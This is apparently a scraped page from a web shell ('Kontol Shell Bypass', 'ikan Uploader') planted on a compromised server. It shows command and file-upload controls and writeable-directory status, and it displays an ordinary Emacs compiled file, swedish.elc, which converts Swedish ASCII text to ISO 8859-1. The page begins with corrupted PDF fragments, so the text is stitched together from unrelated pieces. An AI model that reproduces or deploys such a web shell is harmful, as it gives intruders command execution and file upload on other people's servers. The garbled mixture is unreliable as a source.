%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :
ikan Uploader :
Directory :  /usr/share/emacs/25.2/lisp/obsolete/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/share/emacs/25.2/lisp/obsolete/swedish.elc
;ELC
;;; Compiled
;;; in Emacs version 25.2.1
;;; with all optimizations.

;;; This file uses dynamic docstrings, first added in Emacs 19.29.

;;; This file does not contain utf-8 non-ASCII characters,
;;; and so can be loaded in Emacs versions earlier than 23.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


#@46 Regular expression for common Swedish words.
(defvar swedish-re "[ 	\n]\\(och\\|att\\|en\\|{r\\|\\[R\\|p}\\|P\\]\\|som\\|det\\|av\\|den\\|f|r\\|F\\\\R\\)[ 	\n.,?!:;'\")}]" (#$ . 410))
#@35 Trans table from SWASCII to 8859.
(defvar swascii-to-8859-trans (byte-code "\302\303\304\"\305\303W\203	\211I\210T\211\202	\306\307I\210	\310\311I\210	\312\313I\210	\314\315I\210	\316\317I\210	\320\321I\210	\322\323I\210	\324\325I\210	\326\327I\210	*\207" [i string make-string 256 32 0 91 196 93 197 92 214 94 220 123 228 125 229 96 233 124 246 126 252] 4) (#$ . 600))
#@137 Convert characters in buffer from Swedish/Finnish-ascii to ISO 8859/1.
Works even on read-only buffers.  `$' and `@' are not converted.
(defalias 'swascii-to-8859-buffer #[nil "\302\303ed	#)\207" [buffer-read-only swascii-to-8859-trans nil translate-region] 4 (#$ . 987) nil])
#@122 Call swascii-to-8859-buffer if the buffer looks like Swedish-ascii.
Leaves point just after the word that looks Swedish.
(defalias 'swascii-to-8859-buffer-maybe #[nil "\302\303	\304\302#\205\f\305 )\207" [case-fold-search swedish-re t re-search-forward nil swascii-to-8859-buffer] 4 (#$ . 1272) nil])
(byte-code "\302\303\304\305\301!\205	\"\302\207" [rmail-show-message-hook news-group-hook-alist swascii-to-8859-buffer-maybe append (("^swnet." . swascii-to-8859-buffer-maybe)) boundp] 4)
#@30 8859 to SWASCII trans table.
(defvar 8859-to-swascii-trans (byte-code "\302\303\304\"\305\303W\203	\211I\210T\211\202	\306\307I\210	\310\311I\210	\312\313I\210	\314\315I\210	\316\317I\210	\320\321I\210	\322\323I\210	\324\325I\210	\326\327I\210	\330\331I\210	\332\333I\210	*\207" [i string make-string 256 32 0 164 36 196 91 197 93 201 64 214 92 220 94 228 123 229 125 233 96 246 124 252 126] 4) (#$ . 1774))
#@72 Convert characters in buffer from ISO 8859/1 to Swedish/Finnish-ascii.
(defalias '8859-to-swascii-buffer #[nil "\301ed#\207" [8859-to-swascii-trans translate-region] 4 (#$ . 2198) "*"])
(byte-code "\302\211\303\304!\207" [mail-send-hook news-inews-hook 8859-to-swascii-buffer provide swedish] 3)

Kontol Shell Bypass